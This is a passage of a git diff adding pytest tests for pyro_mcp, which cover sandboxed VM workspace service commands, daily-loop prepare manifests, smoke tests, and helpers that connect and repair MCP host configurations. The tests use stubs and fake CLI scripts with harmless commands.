test_cli_workspace_service_start_rejects_multiple_readiness_flags_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service(self, *args: Any, **kwargs: Any) -> dict[str, Any]: + raise AssertionError("start_service should not be called") + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=".ready", + ready_tcp=None, + ready_http="http://127.0.0.1:8080/", + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + publish=[], + json=True, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + payload = json.loads(capsys.readouterr().out) + assert "choose at most one" in payload["error"] + + +def test_cli_workspace_service_start_prints_human_with_ready_http( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, + workspace_id: str, + service_name: str, + **kwargs: Any, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert kwargs["readiness"] == {"type": "http", "url": "http://127.0.0.1:8080/ready"} + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": kwargs["readiness"], + } + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=None, + ready_tcp=None, + ready_http="http://127.0.0.1:8080/ready", + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + publish=[], + secret_env=[], + json=False, + command_args=["--", "sh", "-lc", "while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "workspace-service-start" in captured.err + assert "service_name=app" in captured.err + + +def test_print_workspace_summary_human_includes_secret_metadata( + capsys: pytest.CaptureFixture[str], +) -> None: + cli._print_workspace_summary_human( + { + "workspace_id": "ws-123", + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "workspace_seed": { + "mode": "directory", + "seed_path": "/tmp/repo", + }, + "secrets": [ + {"name": "API_TOKEN", "source_kind": "literal"}, + {"name": "FILE_TOKEN", "source_kind": "file"}, + ], + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 0, + }, + action="Workspace", + ) + output = capsys.readouterr().out + assert "Workspace ID: ws-123" in output + assert "Workspace seed: directory from /tmp/repo" in output + assert "Secrets: API_TOKEN (literal), FILE_TOKEN (file)" in output diff --git a/tests/test_daily_loop.py b/tests/test_daily_loop.py new file mode 100644 index 0000000..b511158 --- /dev/null +++ b/tests/test_daily_loop.py @@ -0,0 +1,359 @@ +from __future__ import annotations + +import json +from pathlib import Path + +import pytest + +from pyro_mcp.daily_loop import ( + DailyLoopManifest, + evaluate_daily_loop_status, + load_prepare_manifest, + prepare_manifest_path, + prepare_request_is_satisfied, +) +from pyro_mcp.runtime import RuntimeCapabilities +from pyro_mcp.vm_manager import VmManager + + +def test_prepare_daily_loop_executes_then_reuses( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "state", + cache_dir=tmp_path / "cache", + ) + monkeypatch.setattr(manager, "_backend_name", "firecracker") + monkeypatch.setattr( + manager, + "_runtime_capabilities", + RuntimeCapabilities( + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ), + ) + monkeypatch.setattr( + manager, + "inspect_environment", + lambda environment: {"installed": True}, + ) + monkeypatch.setattr( + manager._environment_store, + "ensure_installed", + lambda environment: object(), + ) + + observed: dict[str, object] = {} + + def fake_create_workspace(**kwargs: object) -> dict[str, object]: + observed["network_policy"] = kwargs["network_policy"] + return {"workspace_id": "ws-123"} + + def fake_exec_workspace( + workspace_id: str, + *, + command: str, + timeout_seconds: int = 30, + secret_env: dict[str, str] | None = None, + ) -> dict[str, object]: + observed["exec"] = { + "workspace_id": workspace_id, + "command": command, + "timeout_seconds": timeout_seconds, + "secret_env": secret_env, + } + return { + "workspace_id": workspace_id, + "stdout": "/workspace\n", + "stderr": "", + "exit_code": 0, + "duration_ms": 1, + "execution_mode": "guest_vsock", + } + + def fake_reset_workspace( + workspace_id: str, + *, + snapshot: str = "baseline", + ) -> dict[str, object]: + observed["reset"] = {"workspace_id": workspace_id, "snapshot": snapshot} + return {"workspace_id": workspace_id} + + def fake_delete_workspace( + workspace_id: str, + *, + reason: str = "explicit_delete", + ) -> dict[str, object]: + observed["delete"] = {"workspace_id": workspace_id, "reason": reason} + return {"workspace_id": workspace_id, "deleted": True} + + monkeypatch.setattr(manager, "create_workspace", fake_create_workspace) + monkeypatch.setattr(manager, "exec_workspace", fake_exec_workspace) + monkeypatch.setattr(manager, "reset_workspace", fake_reset_workspace) + monkeypatch.setattr(manager, "delete_workspace", fake_delete_workspace) + + first = manager.prepare_daily_loop("debian:12") + assert first["prepared"] is True + assert first["executed"] is True + assert first["reused"] is False + assert first["network_prepared"] is False + assert first["execution_mode"] == "guest_vsock" + assert observed["network_policy"] == "off" + assert observed["exec"] == { + "workspace_id": "ws-123", + "command": "pwd", + "timeout_seconds": 30, + "secret_env": None, + } + assert observed["reset"] == {"workspace_id": "ws-123", "snapshot": "baseline"} + assert observed["delete"] == {"workspace_id": "ws-123", "reason": "prepare_cleanup"} + + second = manager.prepare_daily_loop("debian:12") + assert second["prepared"] is True + assert second["executed"] is False + assert second["reused"] is True + assert second["reason"] == "reused existing warm manifest" + + +def test_prepare_daily_loop_force_and_network_upgrade_manifest( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "state", + cache_dir=tmp_path / "cache", + ) + monkeypatch.setattr(manager, "_backend_name", "firecracker") + monkeypatch.setattr( + manager, + "_runtime_capabilities", + RuntimeCapabilities( + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ), + ) + monkeypatch.setattr( + manager, + "inspect_environment", + lambda environment: {"installed": True}, + ) + monkeypatch.setattr( + manager._environment_store, + "ensure_installed", + lambda environment: object(), + ) + + observed_policies: list[str] = [] + + def fake_create_workspace(**kwargs: object) -> dict[str, object]: + observed_policies.append(str(kwargs["network_policy"])) + return {"workspace_id": "ws-1"} + + monkeypatch.setattr(manager, "create_workspace", fake_create_workspace) + monkeypatch.setattr( + manager, + "exec_workspace", + lambda workspace_id, **kwargs: { + "workspace_id": workspace_id, + "stdout": "/workspace\n", + "stderr": "", + "exit_code": 0, + "duration_ms": 1, + "execution_mode": "guest_vsock", + }, + ) + monkeypatch.setattr( + manager, + "reset_workspace", + lambda workspace_id, **kwargs: {"workspace_id": workspace_id}, + ) + monkeypatch.setattr( + manager, + "delete_workspace", + lambda workspace_id, **kwargs: {"workspace_id": workspace_id, "deleted": True}, + ) + + manager.prepare_daily_loop("debian:12") + payload = manager.prepare_daily_loop("debian:12", network=True, force=True) + assert payload["executed"] is True + assert payload["network_prepared"] is True + assert observed_policies == ["off", "egress"] + + manifest_path = prepare_manifest_path( + tmp_path / "cache", + platform="linux-x86_64", + environment="debian:12", + ) + manifest, manifest_error = load_prepare_manifest(manifest_path) + assert manifest_error is None + if manifest is None: + raise AssertionError("expected prepare manifest") + assert manifest.network_prepared is True + + +def test_prepare_daily_loop_requires_guest_capabilities(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "state", + cache_dir=tmp_path / "cache", + ) + with pytest.raises(RuntimeError, match="guest-backed runtime"): + manager.prepare_daily_loop("debian:12") + + +def test_load_prepare_manifest_reports_invalid_json(tmp_path: Path) -> None: + manifest_path = prepare_manifest_path( + tmp_path, + platform="linux-x86_64", + environment="debian:12", + ) + manifest_path.parent.mkdir(parents=True, exist_ok=True) + manifest_path.write_text("{broken", encoding="utf-8") + + manifest, error = load_prepare_manifest(manifest_path) + assert manifest is None + assert error is not None + + +def test_prepare_manifest_round_trip(tmp_path: Path) -> None: + manifest_path = prepare_manifest_path( + tmp_path, + platform="linux-x86_64", + environment="debian:12", + ) + manifest = DailyLoopManifest( + environment="debian:12", + environment_version="1.0.0", + platform="linux-x86_64", + catalog_version="4.5.0", + bundle_version="bundle-1", + prepared_at=123.0, + network_prepared=True, + last_prepare_duration_ms=456, + ) + manifest_path.parent.mkdir(parents=True, exist_ok=True) + manifest_path.write_text(json.dumps(manifest.to_payload()), encoding="utf-8") + + loaded, error = load_prepare_manifest(manifest_path) + assert error is None + assert loaded == manifest + + +def test_load_prepare_manifest_rejects_non_object(tmp_path: Path) -> None: + manifest_path = prepare_manifest_path( + tmp_path, + platform="linux-x86_64", + environment="debian:12", + ) + manifest_path.parent.mkdir(parents=True, exist_ok=True) + manifest_path.write_text('["not-an-object"]', encoding="utf-8") + + manifest, error = load_prepare_manifest(manifest_path) + assert manifest is None + assert error == "prepare manifest is not a JSON object" + + +def test_load_prepare_manifest_rejects_invalid_payload(tmp_path: Path) -> None: + manifest_path = prepare_manifest_path( + tmp_path, + platform="linux-x86_64", + environment="debian:12", + ) + manifest_path.parent.mkdir(parents=True, exist_ok=True) + manifest_path.write_text(json.dumps({"environment": "debian:12"}), encoding="utf-8") + + manifest, error = load_prepare_manifest(manifest_path) + assert manifest is None + assert error is not None + assert "prepare manifest is invalid" in error + + +def test_evaluate_daily_loop_status_edge_cases() -> None: + manifest = DailyLoopManifest( + environment="debian:12", + environment_version="1.0.0", + platform="linux-x86_64", + catalog_version="4.5.0", + bundle_version="bundle-1", + prepared_at=1.0, + network_prepared=False, + last_prepare_duration_ms=2, + ) + + assert evaluate_daily_loop_status( + environment="debian:12", + environment_version="1.0.0", + platform="linux-x86_64", + catalog_version="4.5.0", + bundle_version="bundle-1", + installed=True, + manifest=manifest, + manifest_error="broken manifest", + ) == ("stale", "broken manifest") + assert evaluate_daily_loop_status( + environment="debian:12", + environment_version="1.0.0", + platform="linux-x86_64", + catalog_version="4.5.0", + bundle_version="bundle-1", + installed=False, + manifest=manifest, + ) == ("stale", "environment install is missing") + assert evaluate_daily_loop_status( + environment="debian:12-build", + environment_version="1.0.0", + platform="linux-x86_64", + catalog_version="4.5.0", + bundle_version="bundle-1", + installed=True, + manifest=manifest, + ) == ("stale", "prepare manifest environment does not match the selected environment") + assert evaluate_daily_loop_status( + environment="debian:12", + environment_version="2.0.0", + platform="linux-x86_64", + catalog_version="4.5.0", + bundle_version="bundle-1", + installed=True, + manifest=manifest, + ) == ("stale", "environment version changed since the last prepare run") + assert evaluate_daily_loop_status( + environment="debian:12", + environment_version="1.0.0", + platform="linux-aarch64", + catalog_version="4.5.0", + bundle_version="bundle-1", + installed=True, + manifest=manifest, + ) == ("stale", "platform changed since the last prepare run") + assert evaluate_daily_loop_status( + environment="debian:12", + environment_version="1.0.0", + platform="linux-x86_64", + catalog_version="4.5.0", + bundle_version="bundle-2", + installed=True, + manifest=manifest, + ) == ("stale", "runtime bundle version changed since the last prepare run") + + +def test_prepare_request_is_satisfied_network_gate() -> None: + manifest = DailyLoopManifest( + environment="debian:12", + environment_version="1.0.0", + platform="linux-x86_64", + catalog_version="4.5.0", + bundle_version="bundle-1", + prepared_at=1.0, + network_prepared=False, + last_prepare_duration_ms=2, + ) + + assert prepare_request_is_satisfied(None, require_network=False) is False + assert prepare_request_is_satisfied(manifest, require_network=True) is False + assert prepare_request_is_satisfied(manifest, require_network=False) is True diff --git a/tests/test_daily_loop_smoke.py b/tests/test_daily_loop_smoke.py new file mode 100644 index 0000000..2d75fbc --- /dev/null +++ b/tests/test_daily_loop_smoke.py @@ -0,0 +1,138 @@ +from __future__ import annotations + +import json +import subprocess +from pathlib import Path +from types import SimpleNamespace + +import pytest + +import pyro_mcp.daily_loop_smoke as smoke_module + + +class _FakePyro: + def __init__(self) -> None: + self.workspace_id = "ws-1" + self.message = "broken\n" + self.deleted = False + + def create_workspace( + self, + *, + environment: str, + seed_path: Path, + name: str | None = None, + labels: dict[str, str] | None = None, + ) -> dict[str, object]: + assert environment == "debian:12" + assert seed_path.is_dir() + assert name == "daily-loop" + assert labels == {"suite": "daily-loop-smoke"} + return {"workspace_id": self.workspace_id} + + def exec_workspace(self, workspace_id: str, *, command: str) -> dict[str, object]: + assert workspace_id == self.workspace_id + if command != "sh check.sh": + raise AssertionError(f"unexpected command: {command}") + if self.message == "fixed\n": + return {"exit_code": 0, "stdout": "fixed\n"} + return {"exit_code": 1, "stderr": "expected fixed got broken\n"} + + def apply_workspace_patch(self, workspace_id: str, *, patch: str) -> dict[str, object]: + assert workspace_id == self.workspace_id + assert "+fixed" in patch + self.message = "fixed\n" + return {"changed": True} + + def export_workspace( + self, + workspace_id: str, + path: str, + *, + output_path: Path, + ) -> dict[str, object]: + assert workspace_id == self.workspace_id + assert path == "message.txt" + output_path.parent.mkdir(parents=True, exist_ok=True) + output_path.write_text(self.message, encoding="utf-8") + return {"artifact_type": "file"} + + def reset_workspace(self, workspace_id: str) -> dict[str, object]: + assert workspace_id == self.workspace_id + self.message = "broken\n" + return {"reset_count": 1} + + def read_workspace_file(self, workspace_id: str, path: str) -> dict[str, object]: + assert workspace_id == self.workspace_id + assert path == "message.txt" + return {"content": self.message} + + def delete_workspace(self, workspace_id: str) -> dict[str, object]: + assert workspace_id == self.workspace_id + self.deleted = True + return {"workspace_id": workspace_id, "deleted": True} + + +def test_run_prepare_parses_json(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr( + subprocess, + "run", + lambda *args, **kwargs: SimpleNamespace( + returncode=0, + stdout=json.dumps({"prepared": True}), + stderr="", + ), + ) + payload = smoke_module._run_prepare("debian:12") + assert payload == {"prepared": True} + + +def test_run_prepare_raises_on_failure(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr( + subprocess, + "run", + lambda *args, **kwargs: SimpleNamespace( + returncode=1, + stdout="", + stderr="prepare failed", + ), + ) + with pytest.raises(RuntimeError, match="prepare failed"): + smoke_module._run_prepare("debian:12") + + +def test_run_daily_loop_smoke_happy_path(monkeypatch: pytest.MonkeyPatch) -> None: + prepare_calls: list[str] = [] + fake_pyro = _FakePyro() + + def fake_run_prepare(environment: str) -> dict[str, object]: + prepare_calls.append(environment) + return {"prepared": True, "reused": len(prepare_calls) > 1} + + monkeypatch.setattr(smoke_module, "_run_prepare", fake_run_prepare) + monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) + + smoke_module.run_daily_loop_smoke(environment="debian:12") + + assert prepare_calls == ["debian:12", "debian:12"] + assert fake_pyro.deleted is True + + +def test_main_runs_selected_environment( + monkeypatch: pytest.MonkeyPatch, +) -> None: + observed: list[str] = [] + monkeypatch.setattr( + smoke_module, + "run_daily_loop_smoke", + lambda *, environment: observed.append(environment), + ) + monkeypatch.setattr( + smoke_module, + "build_arg_parser", + lambda: SimpleNamespace( + parse_args=lambda: SimpleNamespace(environment="debian:12-build") + ), + ) + smoke_module.main() + assert observed == ["debian:12-build"] diff --git a/tests/test_demo.py b/tests/test_demo.py index 481b333..ed261dd 100644 --- a/tests/test_demo.py +++ b/tests/test_demo.py @@ -53,7 +53,7 @@ def test_run_demo_happy_path(monkeypatch: pytest.MonkeyPatch) -> None: "environment": "debian:12", "command": "git --version", "vcpu_count": 1, - "mem_mib": 512, + "mem_mib": 1024, "timeout_seconds": 30, "ttl_seconds": 600, "network": False, @@ -95,3 +95,4 @@ def test_run_demo_network_uses_probe(monkeypatch: pytest.MonkeyPatch) -> None: demo_module.run_demo(network=True) assert "https://example.com" in str(captured["command"]) assert captured["network"] is True + assert captured["mem_mib"] == 1024 diff --git a/tests/test_doctor.py b/tests/test_doctor.py index 88ab026..3c3196e 100644 --- a/tests/test_doctor.py +++ b/tests/test_doctor.py @@ -6,6 +6,7 @@ import json import pytest import pyro_mcp.doctor as doctor_module +from pyro_mcp.runtime import DEFAULT_PLATFORM def test_doctor_main_prints_json( @@ -14,14 +15,26 @@ def test_doctor_main_prints_json( ) -> None: class StubParser: def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(platform="linux-x86_64") + return argparse.Namespace(platform="linux-x86_64", environment="debian:12") monkeypatch.setattr(doctor_module, "_build_parser", lambda: StubParser()) monkeypatch.setattr( doctor_module, "doctor_report", - lambda platform: {"platform": platform, "runtime_ok": True, "issues": []}, + lambda *, platform, environment: { + "platform": platform, + "environment": environment, + "runtime_ok": True, + "issues": [], + }, ) doctor_module.main() output = json.loads(capsys.readouterr().out) assert output["runtime_ok"] is True + + +def test_doctor_build_parser_defaults_platform() -> None: + parser = doctor_module._build_parser() + args = parser.parse_args([]) + assert args.platform == DEFAULT_PLATFORM + assert args.environment == "debian:12" diff --git a/tests/test_host_helpers.py b/tests/test_host_helpers.py new file mode 100644 index 0000000..2255208 --- /dev/null +++ b/tests/test_host_helpers.py @@ -0,0 +1,501 @@ +from __future__ import annotations + +import json +import shutil +import sys +from pathlib import Path +from subprocess import CompletedProcess + +import pytest + +import pyro_mcp.host_helpers as host_helpers +from pyro_mcp.host_helpers import ( + DEFAULT_OPENCODE_CONFIG_PATH, + HostServerConfig, + _canonical_server_command, + _command_matches, + _repair_command, + connect_cli_host, + doctor_hosts, + print_or_write_opencode_config, + repair_host, +) + + +def _install_fake_mcp_cli(tmp_path: Path, name: str) -> tuple[Path, Path]: + bin_dir = tmp_path / "bin" + bin_dir.mkdir(parents=True) + state_path = tmp_path / f"{name}-state.json" + script_path = bin_dir / name + script_path.write_text( + "\n".join( + [ + f"#!{sys.executable}", + "import json", + "import shlex", + "import sys", + f"STATE_PATH = {str(state_path)!r}", + "try:", + " with open(STATE_PATH, 'r', encoding='utf-8') as handle:", + " state = json.load(handle)", + "except FileNotFoundError:", + " state = {}", + "args = sys.argv[1:]", + "if args[:2] == ['mcp', 'add']:", + " name = args[2]", + " marker = args.index('--')", + " state[name] = args[marker + 1:]", + " with open(STATE_PATH, 'w', encoding='utf-8') as handle:", + " json.dump(state, handle)", + " print(f'added {name}')", + " raise SystemExit(0)", + "if args[:2] == ['mcp', 'remove']:", + " name = args[2]", + " if name in state:", + " del state[name]", + " with open(STATE_PATH, 'w', encoding='utf-8') as handle:", + " json.dump(state, handle)", + " print(f'removed {name}')", + " raise SystemExit(0)", + " print('not found', file=sys.stderr)", + " raise SystemExit(1)", + "if args[:2] == ['mcp', 'get']:", + " name = args[2]", + " if name not in state:", + " print('not found', file=sys.stderr)", + " raise SystemExit(1)", + " print(f'{name}: {shlex.join(state[name])}')", + " raise SystemExit(0)", + "if args[:2] == ['mcp', 'list']:", + " for item in sorted(state):", + " print(item)", + " raise SystemExit(0)", + "print('unsupported', file=sys.stderr)", + "raise SystemExit(2)", + ] + ), + encoding="utf-8", + ) + script_path.chmod(0o755) + return bin_dir, state_path + + +def test_connect_cli_host_replaces_existing_entry( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + bin_dir, state_path = _install_fake_mcp_cli(tmp_path, "codex") + state_path.write_text(json.dumps({"pyro": ["old", "command"]}), encoding="utf-8") + monkeypatch.setenv("PATH", str(bin_dir)) + + payload = connect_cli_host("codex", config=HostServerConfig()) + + assert payload["host"] == "codex" + assert payload["server_command"] == ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"] + assert json.loads(state_path.read_text(encoding="utf-8")) == { + "pyro": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"] + } + + +def test_canonical_server_command_validates_and_renders_variants() -> None: + assert _canonical_server_command(HostServerConfig(installed_package=True)) == [ + "pyro", + "mcp", + "serve", + ] + assert _canonical_server_command( + HostServerConfig(profile="workspace-full", project_path="/repo") + ) == [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + "--profile", + "workspace-full", + "--project-path", + "/repo", + ] + assert _canonical_server_command( + HostServerConfig(repo_url="https://example.com/repo.git", repo_ref="main") + ) == [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + "--repo-url", + "https://example.com/repo.git", + "--repo-ref", + "main", + ] + assert _canonical_server_command(HostServerConfig(mode="repro-fix")) == [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + "--mode", + "repro-fix", + ] + assert _canonical_server_command(HostServerConfig(no_project_source=True)) == [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + "--no-project-source", + ] + + with pytest.raises(ValueError, match="mutually exclusive"): + _canonical_server_command( + HostServerConfig(project_path="/repo", repo_url="https://example.com/repo.git") + ) + with pytest.raises(ValueError, match="cannot be combined"): + _canonical_server_command(HostServerConfig(project_path="/repo", no_project_source=True)) + with pytest.raises(ValueError, match="requires --repo-url"): + _canonical_server_command(HostServerConfig(repo_ref="main")) + with pytest.raises(ValueError, match="mutually exclusive"): + _canonical_server_command( + HostServerConfig(profile="workspace-full", mode="repro-fix") + ) + + +def test_repair_command_and_command_matches_cover_edge_cases() -> None: + assert _repair_command("codex", HostServerConfig()) == "pyro host repair codex" + assert _repair_command("codex", HostServerConfig(project_path="/repo")) == ( + "pyro host repair codex --project-path /repo" + ) + assert _repair_command( + "opencode", + HostServerConfig(installed_package=True, profile="workspace-full", repo_url="file:///repo"), + config_path=Path("/tmp/opencode.json"), + ) == ( + "pyro host repair opencode --installed-package --profile workspace-full " + "--repo-url file:///repo --config-path /tmp/opencode.json" + ) + assert _repair_command("codex", HostServerConfig(no_project_source=True)) == ( + "pyro host repair codex --no-project-source" + ) + assert _repair_command("codex", HostServerConfig(mode="inspect")) == ( + "pyro host repair codex --mode inspect" + ) + assert _command_matches( + "pyro: uvx --from pyro-mcp pyro mcp serve", + ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"], + ) + assert _command_matches( + '"uvx --from pyro-mcp pyro mcp serve', + ['"uvx', "--from", "pyro-mcp", "pyro", "mcp", "serve"], + ) + assert not _command_matches("pyro: uvx --from pyro-mcp pyro mcp serve --profile vm-run", [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + ]) + + +def test_connect_cli_host_reports_missing_cli_and_add_failure( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + with pytest.raises(ValueError, match="unsupported CLI host"): + connect_cli_host("unsupported", config=HostServerConfig()) + + monkeypatch.setenv("PATH", "") + with pytest.raises(RuntimeError, match="codex CLI is not installed"): + connect_cli_host("codex", config=HostServerConfig()) + + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + script_path = bin_dir / "codex" + script_path.write_text( + "\n".join( + [ + f"#!{sys.executable}", + "import sys", + "raise SystemExit(1 if sys.argv[1:3] == ['mcp', 'add'] else 0)", + ] + ), + encoding="utf-8", + ) + script_path.chmod(0o755) + monkeypatch.setenv("PATH", str(bin_dir)) + + with pytest.raises(RuntimeError, match="codex mcp add failed"): + connect_cli_host("codex", config=HostServerConfig()) + + +def test_doctor_hosts_reports_ok_and_drifted( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + codex_bin, codex_state = _install_fake_mcp_cli(tmp_path / "codex", "codex") + claude_bin, claude_state = _install_fake_mcp_cli(tmp_path / "claude", "claude") + combined_path = str(codex_bin) + ":" + str(claude_bin) + monkeypatch.setenv("PATH", combined_path) + + codex_state.write_text( + json.dumps({"pyro": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"]}), + encoding="utf-8", + ) + claude_state.write_text( + json.dumps( + { + "pyro": [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + "--profile", + "workspace-full", + ] + } + ), + encoding="utf-8", + ) + opencode_config = tmp_path / "opencode.json" + opencode_config.write_text( + json.dumps( + { + "mcp": { + "pyro": { + "type": "local", + "enabled": True, + "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"], + } + } + } + ), + encoding="utf-8", + ) + + entries = doctor_hosts(config=HostServerConfig(), config_path=opencode_config) + by_host = {entry.host: entry for entry in entries} + + assert by_host["codex"].status == "ok" + assert by_host["codex"].configured is True + assert by_host["claude-code"].status == "drifted" + assert by_host["claude-code"].configured is True + assert by_host["opencode"].status == "ok" + assert by_host["opencode"].configured is True + + +def test_doctor_hosts_reports_missing_and_drifted_opencode_shapes( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setenv("PATH", "") + config_path = tmp_path / "opencode.json" + + config_path.write_text("[]", encoding="utf-8") + entries = doctor_hosts(config=HostServerConfig(), config_path=config_path) + by_host = {entry.host: entry for entry in entries} + assert by_host["opencode"].status == "unavailable" + assert "JSON object" in by_host["opencode"].details + + config_path.write_text(json.dumps({"mcp": {}}), encoding="utf-8") + entries = doctor_hosts(config=HostServerConfig(), config_path=config_path) + by_host = {entry.host: entry for entry in entries} + assert by_host["opencode"].status == "unavailable" + assert "missing mcp.pyro" in by_host["opencode"].details + + config_path.write_text( + json.dumps({"mcp": {"pyro": {"type": "local", "enabled": False, "command": ["wrong"]}}}), + encoding="utf-8", + ) + entries = doctor_hosts(config=HostServerConfig(), config_path=config_path) + by_host = {entry.host: entry for entry in entries} + assert by_host["opencode"].status == "drifted" + assert by_host["opencode"].configured is True + + +def test_doctor_hosts_reports_invalid_json_for_installed_opencode( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + config_path = tmp_path / "opencode.json" + config_path.write_text("{invalid", encoding="utf-8") + monkeypatch.setattr( + shutil, + "which", + lambda name: "/usr/bin/opencode" if name == "opencode" else None, + ) + + entries = doctor_hosts(config=HostServerConfig(), config_path=config_path) + by_host = {entry.host: entry for entry in entries} + + assert by_host["opencode"].status == "drifted" + assert "invalid JSON" in by_host["opencode"].details + + +def test_repair_opencode_preserves_unrelated_keys( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setenv("PATH", "") + config_path = tmp_path / "opencode.json" + config_path.write_text( + json.dumps({"theme": "light", "mcp": {"other": {"type": "local"}}}), + encoding="utf-8", + ) + + payload = repair_host("opencode", config=HostServerConfig(), config_path=config_path) + + assert payload["config_path"] == str(config_path.resolve()) + repaired = json.loads(config_path.read_text(encoding="utf-8")) + assert repaired["theme"] == "light" + assert repaired["mcp"]["other"] == {"type": "local"} + assert repaired["mcp"]["pyro"] == { + "type": "local", + "enabled": True, + "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"], + } + + +def test_repair_opencode_backs_up_non_object_json( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setenv("PATH", "") + config_path = tmp_path / "opencode.json" + config_path.write_text("[]", encoding="utf-8") + + payload = repair_host("opencode", config=HostServerConfig(), config_path=config_path) + + backup_path = Path(str(payload["backup_path"])) + assert backup_path.exists() + assert backup_path.read_text(encoding="utf-8") == "[]" + + +def test_repair_opencode_backs_up_invalid_json( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setenv("PATH", "") + config_path = tmp_path / "opencode.json" + config_path.write_text("{invalid", encoding="utf-8") + + payload = repair_host("opencode", config=HostServerConfig(), config_path=config_path) + + backup_path = Path(str(payload["backup_path"])) + assert backup_path.exists() + assert backup_path.read_text(encoding="utf-8") == "{invalid" + repaired = json.loads(config_path.read_text(encoding="utf-8")) + assert repaired["mcp"]["pyro"]["command"] == [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + ] + + +def test_print_or_write_opencode_config_writes_json(tmp_path: Path) -> None: + output_path = tmp_path / "opencode.json" + payload = print_or_write_opencode_config( + config=HostServerConfig(project_path="/repo"), + output_path=output_path, + ) + + assert payload["output_path"] == str(output_path) + rendered = json.loads(output_path.read_text(encoding="utf-8")) + assert rendered == { + "mcp": { + "pyro": { + "type": "local", + "enabled": True, + "command": [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + "--project-path", + "/repo", + ], + } + } + } + + +def test_print_or_write_opencode_config_returns_rendered_text() -> None: + payload = print_or_write_opencode_config(config=HostServerConfig(profile="vm-run")) + + assert payload["host"] == "opencode" + assert payload["server_command"] == [ + "uvx", + "--from", + "pyro-mcp", + "pyro", + "mcp", + "serve", + "--profile", + "vm-run", + ] + rendered = str(payload["rendered_config"]) + assert '"type": "local"' in rendered + assert '"command": [' in rendered + + +def test_doctor_reports_opencode_missing_when_config_absent( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setenv("PATH", "") + + entries = doctor_hosts( + config=HostServerConfig(), + config_path=tmp_path / "missing-opencode.json", + ) + by_host = {entry.host: entry for entry in entries} + + assert by_host["opencode"].status == "unavailable" + assert str(DEFAULT_OPENCODE_CONFIG_PATH) not in by_host["opencode"].details + + +def test_repair_host_delegates_non_opencode_and_doctor_handles_list_only_configured( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr( + host_helpers, + "connect_cli_host", + lambda host, *, config: {"host": host, "profile": config.profile}, + ) + assert repair_host("codex", config=HostServerConfig(profile="vm-run")) == { + "host": "codex", + "profile": "vm-run", + } + + commands: list[list[str]] = [] + + def _fake_run_command(command: list[str]) -> CompletedProcess[str]: + commands.append(command) + if command[:3] == ["codex", "mcp", "get"]: + return CompletedProcess(command, 1, "", "not found") + if command[:3] == ["codex", "mcp", "list"]: + return CompletedProcess(command, 0, "pyro\n", "") + raise AssertionError(command) + + monkeypatch.setattr( + shutil, + 